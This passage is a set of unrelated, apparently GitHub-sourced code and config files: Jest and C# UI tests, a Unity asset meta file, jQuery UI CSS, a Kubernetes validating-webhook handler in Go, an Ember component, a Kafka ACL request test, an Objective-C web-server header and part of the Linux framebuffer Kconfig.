DetailState(), onDetailToggled: jest.fn(), linksGetter: jest.fn(), isFilteredOut: false, logItemToggle: jest.fn(), logsToggle: jest.fn(), processToggle: jest.fn(), span: { spanID, depth: 3 }, tagsToggle: jest.fn(), traceStartTime: 1000, }; let wrapper; beforeEach(() => { props.onDetailToggled.mockReset(); props.linksGetter.mockReset(); props.logItemToggle.mockReset(); props.logsToggle.mockReset(); props.processToggle.mockReset(); props.tagsToggle.mockReset(); wrapper = shallow(<SpanDetailRow {...props} />) .dive() .dive() .dive(); }); it('renders without exploding', () => { expect(wrapper).toBeDefined(); }); it('escalates toggle detail', () => { const calls = props.onDetailToggled.mock.calls; expect(calls.length).toBe(0); wrapper.find('[data-test-id="detail-row-expanded-accent"]').prop('onClick')(); expect(calls).toEqual([[spanID]]); }); it('renders the span tree offset', () => { const spanTreeOffset = <SpanTreeOffset span={props.span} showChildrenIcon={false} />; expect(wrapper.contains(spanTreeOffset)).toBe(true); }); it('renders the SpanDetail', () => { const spanDetail = ( <SpanDetail detailState={props.detailState} linksGetter={wrapper.instance()._linksGetter} logItemToggle={props.logItemToggle} logsToggle={props.logsToggle} processToggle={props.processToggle} span={props.span} tagsToggle={props.tagsToggle} traceStartTime={props.traceStartTime} /> ); expect(wrapper.contains(spanDetail)).toBe(true); }); it('adds span when calling linksGetter', () => { const spanDetail = wrapper.find(SpanDetail); const linksGetter = spanDetail.prop('linksGetter'); const tags = [{ key: 'myKey', value: 'myValue' }]; const linksGetterResponse = {}; props.linksGetter.mockReturnValueOnce(linksGetterResponse); const result = linksGetter(tags, 0); expect(result).toBe(linksGetterResponse); expect(props.linksGetter).toHaveBeenCalledTimes(1); expect(props.linksGetter).toHaveBeenCalledWith(props.span, tags, 0); }); });
{ "pile_set_name": "Github" }
fileFormatVersion: 2 guid: 11e8148c59b63433db9e2b1006915080 timeCreated: 1534195675 licenseType: Pro TextureImporter: fileIDToRecycleName: {} externalObjects: {} serializedVersion: 4 mipmaps: mipMapMode: 0 enableMipMap: 1 sRGBTexture: 1 linearTexture: 0 fadeOut: 0 borderMipMap: 0 mipMapsPreserveCoverage: 0 alphaTestReferenceValue: 0.5 mipMapFadeDistanceStart: 1 mipMapFadeDistanceEnd: 3 bumpmap: convertToNormalMap: 0 externalNormalMap: 0 heightScale: 0.25 normalMapFilter: 0 isReadable: 0 grayScaleToAlpha: 0 generateCubemap: 6 cubemapConvolution: 0 seamlessCubemap: 0 textureFormat: 1 maxTextureSize: 2048 textureSettings: serializedVersion: 2 filterMode: -1 aniso: -1 mipBias: -1 wrapU: -1 wrapV: -1 wrapW: -1 nPOTScale: 1 lightmap: 0 compressionQuality: 50 spriteMode: 0 spriteExtrude: 1 spriteMeshType: 1 alignment: 0 spritePivot: {x: 0.5, y: 0.5} spritePixelsToUnits: 100 spriteBorder: {x: 0, y: 0, z: 0, w: 0} spriteGenerateFallbackPhysicsShape: 1 alphaUsage: 1 alphaIsTransparency: 0 spriteTessellationDetail: -1 textureType: 0 textureShape: 1 maxTextureSizeSet: 0 compressionQualitySet: 0 textureFormatSet: 0 platformSettings: - buildTarget: DefaultTexturePlatform maxTextureSize: 2048 resizeAlgorithm: 0 textureFormat: -1 textureCompression: 1 compressionQuality: 50 crunchedCompression: 0 allowsAlphaSplitting: 0 overridden: 0 androidETC2FallbackOverride: 0 spriteSheet: serializedVersion: 2 sprites: [] outline: [] physicsShape: [] spritePackingTag: userData: assetBundleName: assetBundleVariant:
{ "pile_set_name": "Github" }
/*! * jQuery UI Draggable 1.11.4 * http://jqueryui.com * * Copyright jQuery Foundation and other contributors * Released under the MIT license. * http://jquery.org/license */ .ui-draggable-handle { -ms-touch-action: none; touch-action: none; }
{ "pile_set_name": "Github" }
// Copyright (c) Microsoft Corporation. All rights reserved. // Licensed under the MIT License. See LICENSE in the project root for license information. using System; using MUXControlsTestApp.Utilities; using Windows.UI.Xaml; using Windows.UI.Xaml.Controls; using Windows.UI.Xaml.Markup; using Common; #if USING_TAEF using WEX.TestExecution; using WEX.TestExecution.Markup; using WEX.Logging.Interop; #else using Microsoft.VisualStudio.TestTools.UnitTesting; using Microsoft.VisualStudio.TestTools.UnitTesting.Logging; #endif namespace Windows.UI.Xaml.Tests.MUXControls.ApiTests { [TestClass] public class RevealTests : ApiTestBase { [TestMethod] //TODO: Re-enable once issue #644 is fixed. [TestProperty("Ignore", "True")] public void ValidateAppBarButtonRevealStyles() { AppBarButton buttonLabelsOnRight = null; AppBarButton buttonOverflow = null; AppBarToggleButton toggleButtonLabelsOnRight = null; AppBarToggleButton toggleButtonOverflow = null; RunOnUIThread.Execute(() => { var cmdBar = (CommandBar)XamlReader.Load(@" <CommandBar xmlns='http://schemas.microsoft.com/winfx/2006/xaml/presentation' DefaultLabelPosition='Right' IsOpen='True'> <AppBarButton Label='button' Icon='Accept'/> <AppBarToggleButton Label='button' Icon='Accept'/> <CommandBar.SecondaryCommands> <AppBarButton Label='Supercalifragilisticexpialidocious' Style='{StaticResource AppBarButtonRevealOverflowStyle}'/> <AppBarToggleButton Label='Supercalifragilisticexpialidocious' Style='{StaticResource AppBarToggleButtonRevealOverflowStyle}'/> </CommandBar.SecondaryCommands> </CommandBar>"); buttonLabelsOnRight = (AppBarButton)cmdBar.PrimaryCommands[0]; buttonOverflow = (AppBarButton)cmdBar.SecondaryCommands[0]; toggleButtonLabelsOnRight = (AppBarToggleButton)cmdBar.PrimaryCommands[1]; toggleButtonOverflow = (AppBarToggleButton)cmdBar.SecondaryCommands[1]; Content = cmdBar; Content.UpdateLayout(); const double expectedLabelsOnRightWidth = 84; const double expectedOverflowWidth = 264; Verify.AreEqual(expectedLabelsOnRightWidth, buttonLabelsOnRight.ActualWidth); Verify.AreEqual(expectedOverflowWidth, buttonOverflow.ActualWidth); Verify.AreEqual(expectedLabelsOnRightWidth, toggleButtonLabelsOnRight.ActualWidth); Verify.AreEqual(expectedOverflowWidth, toggleButtonOverflow.ActualWidth); }); } } }
{ "pile_set_name": "Github" }
/* Copyright 2018 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package admission import ( "context" "net/http" "k8s.io/api/admission/v1beta1" "k8s.io/apimachinery/pkg/runtime" ) // Validator defines functions for validating an operation type Validator interface { runtime.Object ValidateCreate() error ValidateUpdate(old runtime.Object) error ValidateDelete() error } // ValidatingWebhookFor creates a new Webhook for validating the provided type. func ValidatingWebhookFor(validator Validator) *Webhook { return &Webhook{ Handler: &validatingHandler{validator: validator}, } } type validatingHandler struct { validator Validator decoder *Decoder } var _ DecoderInjector = &validatingHandler{} // InjectDecoder injects the decoder into a validatingHandler. func (h *validatingHandler) InjectDecoder(d *Decoder) error { h.decoder = d return nil } // Handle handles admission requests. func (h *validatingHandler) Handle(ctx context.Context, req Request) Response { if h.validator == nil { panic("validator should never be nil") } // Get the object in the request obj := h.validator.DeepCopyObject().(Validator) if req.Operation == v1beta1.Create { err := h.decoder.Decode(req, obj) if err != nil { return Errored(http.StatusBadRequest, err) } err = obj.ValidateCreate() if err != nil { return Denied(err.Error()) } } if req.Operation == v1beta1.Update { oldObj := obj.DeepCopyObject() err := h.decoder.DecodeRaw(req.Object, obj) if err != nil { return Errored(http.StatusBadRequest, err) } err = h.decoder.DecodeRaw(req.OldObject, oldObj) if err != nil { return Errored(http.StatusBadRequest, err) } err = obj.ValidateUpdate(oldObj) if err != nil { return Denied(err.Error()) } } if req.Operation == v1beta1.Delete { // In reference to PR: https://github.com/kubernetes/kubernetes/pull/76346 // OldObject contains the object being deleted err := h.decoder.DecodeRaw(req.OldObject, obj) if err != nil { return Errored(http.StatusBadRequest, err) } err = obj.ValidateDelete() if err != nil { return Denied(err.Error()) } } return Allowed("") }
{ "pile_set_name": "Github" }
import { on } from '@ember/object/evented'; import { next, debounce } from '@ember/runloop'; import Component from '@ember/component'; import { get, set, observer } from '@ember/object' import layout from './template'; import C from 'shared/utils/constants'; import $ from 'jquery'; const EXISTS = 'Exists' const DOES_NOT_EXISTS = 'DoesNotExist'; export default Component.extend({ layout, // Inputs initialArray: null, editing: true, addActionLabel: 'formMatchExpressions.addAction', keyLabel: 'formMatchExpressions.key.label', valueLabel: 'formMatchExpressions.value.label', keyPlaceholder: 'formMatchExpressions.key.placeholder', valuePlaceholder: 'formMatchExpressions.value.placeholder', init() { this._super(...arguments); const ary = []; if ( get(this, 'initialArray') ) { get(this, 'initialArray').forEach((line) => { ary.push({ key: get(line, 'key'), operator: get(line, 'operator'), values: (get(line, 'values') || []).join(',') }); }); } set(this, 'ary', ary); }, actions: { add() { let ary = get(this, 'ary'); ary.pushObject({ key: '', operator: EXISTS, }); next(() => { if ( this.isDestroyed || this.isDestroying ) { return; } let elem = $('INPUT.key').last()[0]; if ( elem ) { elem.focus(); } }); }, remove(obj) { get(this, 'ary').removeObject(obj); }, }, aryObserver: on('init', observer('ary.@each.{key,operator,values}', function() { debounce(this, 'fireChanged', 100); })), operatorChoices: C.VOLUME_NODE_SELECTOR_OPERATOR, fireChanged() { if ( this.isDestroyed || this.isDestroying ) { return; } let arr = []; get(this, 'ary').forEach((row) => { if ( [EXISTS, DOES_NOT_EXISTS].indexOf(get(row, 'operator')) > -1 ) { arr.pushObject({ key: get(row, 'key'), operator: get(row, 'operator'), }) } else { if ( get(row, 'values') ) { arr.pushObject({ key: get(row, 'key'), operator: get(row, 'operator'), values: get(row, 'values').split(',') || [] }) } } }); next(() => { this.sendAction('changed', arr); }); }, });
{ "pile_set_name": "Github" }
package sarama import "testing" var ( aclCreateRequest = []byte{ 0, 0, 0, 1, 3, // resource type = group 0, 5, 'g', 'r', 'o', 'u', 'p', 0, 9, 'p', 'r', 'i', 'n', 'c', 'i', 'p', 'a', 'l', 0, 4, 'h', 'o', 's', 't', 2, // all 2, // deny } ) func TestCreateAclsRequest(t *testing.T) { req := &CreateAclsRequest{ AclCreations: []*AclCreation{{ Resource: Resource{ ResourceType: AclResourceGroup, ResourceName: "group", }, Acl: Acl{ Principal: "principal", Host: "host", Operation: AclOperationAll, PermissionType: AclPermissionDeny, }}, }, } testRequest(t, "create request", req, aclCreateRequest) }
{ "pile_set_name": "Github" }
// // Generated by class-dump 3.5 (64 bit) (Debug version compiled Sep 17 2017 16:24:48). // // class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard. // #import <objc/NSObject.h> #import "GCDWebServerBodyWriter-Protocol.h" @class NSData, NSDate, NSDictionary, NSMutableArray, NSMutableDictionary, NSString, NSURL; @protocol GCDWebServerBodyWriter; @interface GCDWebServerRequest : NSObject <GCDWebServerBodyWriter> { NSString *_method; NSURL *_url; NSDictionary *_headers; NSString *_path; NSDictionary *_query; NSString *_type; _Bool _chunked; unsigned long long _length; NSDate *_modifiedSince; NSString *_noneMatch; struct _NSRange _range; _Bool _gzipAccepted; NSData *_localAddress; NSData *_remoteAddress; _Bool _opened; NSMutableArray *_decoders; NSMutableDictionary *_attributes; id <GCDWebServerBodyWriter> _writer; } @property(retain, nonatomic) NSData *remoteAddressData; // @synthesize remoteAddressData=_remoteAddress; @property(retain, nonatomic) NSData *localAddressData; // @synthesize localAddressData=_localAddress; @property(readonly, nonatomic) _Bool usesChunkedTransferEncoding; // @synthesize usesChunkedTransferEncoding=_chunked; @property(readonly, nonatomic) _Bool acceptsGzipContentEncoding; // @synthesize acceptsGzipContentEncoding=_gzipAccepted; @property(readonly, nonatomic) struct _NSRange byteRange; // @synthesize byteRange=_range; @property(readonly, nonatomic) NSString *ifNoneMatch; // @synthesize ifNoneMatch=_noneMatch; @property(readonly, nonatomic) NSDate *ifModifiedSince; // @synthesize ifModifiedSince=_modifiedSince; @property(readonly, nonatomic) unsigned long long contentLength; // @synthesize contentLength=_length; @property(readonly, nonatomic) NSString *contentType; // @synthesize contentType=_type; @property(readonly, nonatomic) NSDictionary *query; // @synthesize query=_query; @property(readonly, nonatomic) NSString *path; // @synthesize path=_path; @property(readonly, nonatomic) NSDictionary *headers; // @synthesize headers=_headers; @property(readonly, nonatomic) NSURL *URL; // @synthesize URL=_url; @property(readonly, nonatomic) NSString *method; // @synthesize method=_method; - (void).cxx_destruct; @property(readonly, copy) NSString *description; @property(readonly, nonatomic) NSString *remoteAddressString; @property(readonly, nonatomic) NSString *localAddressString; - (void)setAttribute:(id)arg1 forKey:(id)arg2; - (_Bool)performClose:(id *)arg1; - (_Bool)performWriteData:(id)arg1 error:(id *)arg2; - (_Bool)performOpen:(id *)arg1; - (void)prepareForWriting; - (_Bool)close:(id *)arg1; - (_Bool)writeData:(id)arg1 error:(id *)arg2; - (_Bool)open:(id *)arg1; - (id)attributeForKey:(id)arg1; - (_Bool)hasByteRange; - (_Bool)hasBody; - (id)initWithMethod:(id)arg1 url:(id)arg2 headers:(id)arg3 path:(id)arg4 query:(id)arg5; // Remaining properties @property(readonly, copy) NSString *debugDescription; @property(readonly) unsigned long long hash; @property(readonly) Class superclass; @end
{ "pile_set_name": "Github" }
# # fbdev configuration # menuconfig FB tristate "Support for frame buffer devices" select FB_CMDLINE ---help--- The frame buffer device provides an abstraction for the graphics hardware. It represents the frame buffer of some video hardware and allows application software to access the graphics hardware through a well-defined interface, so the software doesn't need to know anything about the low-level (hardware register) stuff. Frame buffer devices work identically across the different architectures supported by Linux and make the implementation of application programs easier and more portable; at this point, an X server exists which uses the frame buffer device exclusively. On several non-X86 architectures, the frame buffer device is the only way to use the graphics hardware. The device is accessed through special device nodes, usually located in the /dev directory, i.e. /dev/fb*. You need an utility program called fbset to make full use of frame buffer devices. Please read <file:Documentation/fb/framebuffer.txt> and the Framebuffer-HOWTO at <http://www.munted.org.uk/programming/Framebuffer-HOWTO-1.3.html> for more information. Say Y here and to the driver for your graphics board below if you are compiling a kernel for a non-x86 architecture. If you are compiling for the x86 architecture, you can say Y if you want to play with it, but it is not essential. Please note that running graphical applications that directly touch the hardware (e.g. an accelerated X server) and that are not frame buffer device-aware may cause unexpected results. If unsure, say N. config FIRMWARE_EDID bool "Enable firmware EDID" depends on FB default n ---help--- This enables access to the EDID transferred from the firmware. On the i386, this is from the Video BIOS. Enable this if DDC/I2C transfers do not work for your driver and if you are using nvidiafb, i810fb or savagefb. In general, choosing Y for this option is safe. If you experience extremely long delays while booting before you get something on your display, try setting this to N. Matrox cards in combination with certain motherboards and monitors are known to suffer from this problem. config FB_CMDLINE bool config FB_DDC tristate depends on FB select I2C_ALGOBIT select I2C default n config FB_BOOT_VESA_SUPPORT bool depends on FB default n ---help--- If true, at least one selected framebuffer driver can take advantage of VESA video modes set at an early boot stage via the vga= parameter. config FB_CFB_FILLRECT tristate depends on FB default n ---help--- Include the cfb_fillrect function for generic software rectangle filling. This is used by drivers that don't provide their own (accelerated) version. config FB_CFB_COPYAREA tristate depends on FB default n ---help--- Include the cfb_copyarea function for generic software area copying. This is used by drivers that don't provide their own (accelerated) version. config FB_CFB_IMAGEBLIT tristate depends on FB default n ---help--- Include the cfb_imageblit function for generic software image blitting. This is used by drivers that don't provide their own (accelerated) version. config FB_CFB_REV_PIXELS_IN_BYTE bool depends on FB default n ---help--- Allow generic frame-buffer functions to work on displays with 1, 2 and 4 bits per pixel depths which has opposite order of pixels in byte order to bytes in long order. config FB_SYS_FILLRECT tristate depends on FB default n ---help--- Include the sys_fillrect function for generic software rectangle filling. This is used by drivers that don't provide their own (accelerated) version and the framebuffer is in system RAM. config FB_SYS_COPYAREA tristate depends on FB default n ---help--- Include the sys_copyarea function for generic software area copying. This is used by drivers that don't provide their own (accelerated) version and the framebuffer is in system RAM. config FB_SYS_IMAGEBLIT tristate depends on FB default n ---help--- Include the sys_imageblit function for generic software image blitting. This is used by drivers that don't provide their own (accelerated) version and the framebuffer is in system RAM. menuconfig FB_FOREIGN_ENDIAN bool "Framebuffer foreign endianness support" depends on FB ---help--- This menu will let you enable support for the framebuffers with non-native endianness (e.g. Little-Endian framebuffer on a Big-Endian machine). Most probably you don't have such hardware, so it's safe to say "n" here. choice prompt "Choice endianness support" depends on FB_FOREIGN_ENDIAN config FB_BOTH_ENDIAN bool "Support for Big- and Little-Endian framebuffers" config FB_BIG_ENDIAN bool "Support for Big-Endian framebuffers only" config FB_LITTLE_ENDIAN bool "Support for Little-Endian framebuffers only" endchoice config FB_SYS_FOPS tristate depends on FB default n config FB_DEFERRED_IO bool depends on FB config FB_HECUBA tristate depends on FB depends on FB_DEFERRED_IO config FB_SVGALIB tristate depends on FB default n ---help--- Common utility functions useful to fbdev drivers of VGA-based cards. config FB_MACMODES tristate depends on FB default n config FB_BACKLIGHT bool depends on FB select BACKLIGHT_LCD_SUPPORT select BACKLIGHT_CLASS_DEVICE default n config FB_MODE_HELPERS bool "Enable Video Mode Handling Helpers" depends on FB default n ---help--- This enables functions for handling video modes using the Generalized Timing Formula and the EDID parser. A few drivers rely on this feature such as the radeonfb, rivafb, and the i810fb. If your driver does not take advantage of this feature, choosing Y will just increase the kernel size by about 5K. config FB_TILEBLITTING bool "Enable Tile Blitting Support" depends on FB default n ---help--- This enables tile blitting. Tile blitting is a drawing technique where the screen is divided into rectangular sections (tiles), whereas the standard blitting divides the screen into pixels. Because the default drawing element is a tile, drawing functions will be passed parameters in terms of number of tiles instead of number of pixels. For example, to draw a single character, instead of using bitmaps, an index to an array of bitmaps will be used. To clear or move a rectangular section of a screen, the rectangle will be described in terms of number of tiles in the x- and y-axis. This is particularly important to one driver, matroxfb. If unsure, say N. comment "Frame buffer hardware drivers" depends on FB config FB_GRVGA tristate "Aeroflex Gaisler framebuffer support" depends on FB && SPARC select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT ---help--- This enables support for the SVGACTRL framebuffer in the GRLIB IP library from Aeroflex Gaisler. config FB_CIRRUS tristate "Cirrus Logic support" depends on FB && (ZORRO || PCI) select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT ---help--- This enables support for Cirrus Logic GD542x/543x based boards on Amiga: SD64, Piccolo, Picasso II/II+, Picasso IV, or EGS Spectrum. If you have a PCI-based system, this enables support for these chips: GD-543x, GD-544x, GD-5480. Please read the file <file:Documentation/fb/cirrusfb.txt>. Say N unless you have such a graphics board or plan to get one before you next recompile the kernel. config FB_PM2 tristate "Permedia2 support" depends on FB && ((AMIGA && BROKEN) || PCI) select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This is the frame buffer device driver for cards based on the 3D Labs Permedia, Permedia 2 and Permedia 2V chips. The driver was tested on the following cards: Diamond FireGL 1000 PRO AGP ELSA Gloria Synergy PCI Appian Jeronimo PRO (both heads) PCI 3DLabs Oxygen ACX aka EONtronics Picasso P2 PCI Techsource Raptor GFX-8P (aka Sun PGX-32) on SPARC ASK Graphic Blaster Exxtreme AGP To compile this driver as a module, choose M here: the module will be called pm2fb. config FB_PM2_FIFO_DISCONNECT bool "enable FIFO disconnect feature" depends on FB_PM2 && PCI help Support the Permedia2 FIFO disconnect feature. config FB_ARMCLCD tristate "ARM PrimeCell PL110 support" depends on ARM || ARM64 || COMPILE_TEST depends on FB && ARM_AMBA select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select FB_MODE_HELPERS if OF select VIDEOMODE_HELPERS if OF help This framebuffer device driver is for the ARM PrimeCell PL110 Colour LCD controller. ARM PrimeCells provide the building blocks for System on a Chip devices. If you want to compile this as a module (=code which can be inserted into and removed from the running kernel), say M here and read <file:Documentation/kbuild/modules.txt>. The module will be called amba-clcd. # Helper logic selected only by the ARM Versatile platform family. config PLAT_VERSATILE_CLCD def_bool ARCH_VERSATILE || ARCH_REALVIEW || ARCH_VEXPRESS depends on ARM depends on FB_ARMCLCD && FB=y config FB_ACORN bool "Acorn VIDC support" depends on (FB = y) && ARM && ARCH_ACORN select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This is the frame buffer device driver for the Acorn VIDC graphics hardware found in Acorn RISC PCs and other ARM-based machines. If unsure, say N. config FB_CLPS711X_OLD tristate select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT config FB_CLPS711X tristate "CLPS711X LCD support" depends on FB && (ARCH_CLPS711X || COMPILE_TEST) select FB_CLPS711X_OLD if ARCH_CLPS711X && !ARCH_MULTIPLATFORM select BACKLIGHT_LCD_SUPPORT select FB_MODE_HELPERS select FB_SYS_FILLRECT select FB_SYS_COPYAREA select FB_SYS_IMAGEBLIT select LCD_CLASS_DEVICE select VIDEOMODE_HELPERS help Say Y to enable the Framebuffer driver for the Cirrus Logic CLPS711X CPUs. config FB_SA1100 bool "SA-1100 LCD support" depends on (FB = y) && ARM && ARCH_SA1100 select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This is a framebuffer device for the SA-1100 LCD Controller. See <http://www.linux-fbdev.org/> for information on framebuffer devices. If you plan to use the LCD display with your SA-1100 system, say Y here. config FB_IMX tristate "Freescale i.MX1/21/25/27 LCD support" depends on FB && ARCH_MXC select BACKLIGHT_LCD_SUPPORT select LCD_CLASS_DEVICE select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select FB_MODE_HELPERS select VIDEOMODE_HELPERS config FB_CYBER2000 tristate "CyberPro 2000/2010/5000 support" depends on FB && PCI && (BROKEN || !SPARC64) select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This enables support for the Integraphics CyberPro 20x0 and 5000 VGA chips used in the Rebel.com Netwinder and other machines. Say Y if you have a NetWinder or a graphics card containing this device, otherwise say N. config FB_CYBER2000_DDC bool "DDC for CyberPro support" depends on FB_CYBER2000 select FB_DDC default y help Say Y here if you want DDC support for your CyberPro graphics card. This is only I2C bus support, driver does not use EDID. config FB_CYBER2000_I2C bool "CyberPro 2000/2010/5000 I2C support" depends on FB_CYBER2000 && I2C && ARCH_NETWINDER depends on I2C=y || FB_CYBER2000=m select I2C_ALGOBIT help Enable support for the I2C video decoder interface on the Integraphics CyberPro 20x0 and 5000 VGA chips. This is used on the Netwinder machines for the SAA7111 video capture. config FB_APOLLO bool depends on (FB = y) && APOLLO default y select FB_CFB_FILLRECT select FB_CFB_IMAGEBLIT config FB_Q40 bool depends on (FB = y) && Q40 default y select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT config FB_AMIGA tristate "Amiga native chipset support" depends on FB && AMIGA help This is the frame buffer device driver for the builtin graphics chipset found in Amigas. To compile this driver as a module, choose M here: the module will be called amifb. config FB_AMIGA_OCS bool "Amiga OCS chipset support" depends on FB_AMIGA help This enables support for the original Agnus and Denise video chips, found in the Amiga 1000 and most A500's and A2000's. If you intend to run Linux on any of these systems, say Y; otherwise say N. config FB_AMIGA_ECS bool "Amiga ECS chipset support" depends on FB_AMIGA help This enables support for the Enhanced Chip Set, found in later A500's, later A2000's, the A600, the A3000, the A3000T and CDTV. If you intend to run Linux on any of these systems, say Y; otherwise say N. config FB_AMIGA_AGA bool "Amiga AGA chipset support" depends on FB_AMIGA help This enables support for the Advanced Graphics Architecture (also known as the AGA or AA) Chip Set, found in the A1200, A4000, A4000T and CD32. If you intend to run Linux on any of these systems, say Y; otherwise say N. config FB_FM2 bool "Amiga FrameMaster II/Rainbow II support" depends on (FB = y) && ZORRO select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This is the frame buffer device driver for the Amiga FrameMaster card from BSC (exhibited 1992 but not shipped as a CBM product). config FB_ARC tristate "Arc Monochrome LCD board support" depends on FB && X86 select FB_SYS_FILLRECT select FB_SYS_COPYAREA select FB_SYS_IMAGEBLIT select FB_SYS_FOPS help This enables support for the Arc Monochrome LCD board. The board is based on the KS-108 lcd controller and is typically a matrix of 2*n chips. This driver was tested with a 128x64 panel. This driver supports it for use with x86 SBCs through a 16 bit GPIO interface (8 bit data, 8 bit control). If you anticipate using this driver, say Y or M; otherwise say N. You must specify the GPIO IO address to be used for setting control and data. config FB_ATARI bool "Atari native chipset support" depends on (FB = y) && ATARI select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This is the frame buffer device driver for the builtin graphics chipset found in Ataris. config FB_OF bool "Open Firmware frame buffer device support" depends on (FB = y) && (PPC64 || PPC_OF) && (!PPC_PSERIES || PCI) select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select FB_MACMODES help Say Y if you want support with Open Firmware for your graphics board. config FB_CONTROL bool "Apple \"control\" display support" depends on (FB = y) && PPC_PMAC && PPC32 select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select FB_MACMODES help This driver supports a frame buffer for the graphics adapter in the Power Macintosh 7300 and others. config FB_PLATINUM bool "Apple \"platinum\" display support" depends on (FB = y) && PPC_PMAC && PPC32 select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select FB_MACMODES help This driver supports a frame buffer for the "platinum" graphics adapter in some Power Macintoshes. config FB_VALKYRIE bool "Apple \"valkyrie\" display support" depends on (FB = y) && (MAC || (PPC_PMAC && PPC32)) select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select FB_MACMODES help This driver supports a frame buffer for the "valkyrie" graphics adapter in some Power Macintoshes. config FB_CT65550 bool "Chips 65550 display support" depends on (FB = y) && PPC32 && PCI select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This is the frame buffer device driver for the Chips & Technologies 65550 graphics chip in PowerBooks. config FB_ASILIANT bool "Asiliant (Chips) 69000 display support" depends on (FB = y) && PCI select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This is the frame buffer device driver for the Asiliant 69030 chipset config FB_IMSTT bool "IMS Twin Turbo display support" depends on (FB = y) && PCI select FB_CFB_IMAGEBLIT select FB_MACMODES if PPC help The IMS Twin Turbo is a PCI-based frame buffer card bundled with many Macintosh and compatible computers. config FB_VGA16 tristate "VGA 16-color graphics support" depends on FB && (X86 || PPC) select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select VGASTATE select FONT_8x16 if FRAMEBUFFER_CONSOLE help This is the frame buffer device driver for VGA 16 color graphic cards. Say Y if you have such a card. To compile this driver as a module, choose M here: the module will be called vga16fb. config FB_BF54X_LQ043 tristate "SHARP LQ043 TFT LCD (BF548 EZKIT)" depends on FB && (BF54x) && !BF542 select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This is the framebuffer device driver for a SHARP LQ043T1DG01 TFT LCD config FB_BFIN_T350MCQB tristate "Varitronix COG-T350MCQB TFT LCD display (BF527 EZKIT)" depends on FB && BLACKFIN select BFIN_GPTIMERS select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This is the framebuffer device driver for a Varitronix VL-PS-COG-T350MCQB-01 display TFT LCD This display is a QVGA 320x240 24-bit RGB display interfaced by an 8-bit wide PPI It uses PPI[0..7] PPI_FS1, PPI_FS2 and PPI_CLK. config FB_BFIN_LQ035Q1 tristate "SHARP LQ035Q1DH02 TFT LCD" depends on FB && BLACKFIN && SPI select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select BFIN_GPTIMERS help This is the framebuffer device driver for a SHARP LQ035Q1DH02 TFT display found on the Blackfin Landscape LCD EZ-Extender Card. This display is a QVGA 320x240 18-bit RGB display interfaced by an 16-bit wide PPI It uses PPI[0..15] PPI_FS1, PPI_FS2 and PPI_CLK. To compile this driver as a module, choose M here: the module will be called bfin-lq035q1-fb. config FB_BF537_LQ035 tristate "SHARP LQ035 TFT LCD (BF537 STAMP)" depends on FB && (BF534 || BF536 || BF537) && I2C_BLACKFIN_TWI select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select BFIN_GPTIMERS help This is the framebuffer device for a SHARP LQ035Q7DB03 TFT LCD attached to a BF537. To compile this driver as a module, choose M here: the module will be called bf537-lq035. config FB_BFIN_7393 tristate "Blackfin ADV7393 Video encoder" depends on FB && BLACKFIN select I2C select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT help This is the framebuffer device for a ADV7393 video encoder attached to a Blackfin on the PPI port. If your Blackfin board has a ADV7393 select Y. To compile this driver as a module, choose M here: the module will be called bfin_adv7393fb. choice prompt "Video mode support" depends on FB_BFIN_7393 default NTSC config NTSC bool 'NTSC 720x480' config PAL bool 'PAL 720x576' config NTSC_640x480 bool 'NTSC 640x480 (Experimental)' config PAL_640x480 bool 'PAL 640x480 (Experimental)' config NTSC_YCBCR bool 'NTSC 720x480 YCbCR input' config PAL_YCBCR bool 'PAL 720x576 YCbCR input' endchoice choice prompt "Size of ADV7393 frame buffer memory Single/Double Size" depends on (FB_BFIN_7393) default ADV7393_1XMEM config ADV7393_1XMEM bool 'Single' config ADV7393_2XMEM bool 'Double' endchoice config FB_STI tristate "HP STI frame buffer device support" depends on FB && PARISC select FB_CFB_FILLRECT select FB_CFB_COPYAREA select FB_CFB_IMAGEBLIT select STI_CONSOLE select VT default y ---help--- STI refers to the HP "Standard Text Interface" which is a set of BIOS routines contained in a ROM chip in HP PA-RISC based machines. Enabling this option will implement the linux framebuffer device using calls to the STI BIOS routines for initialisation. If you enable this option, you will get a 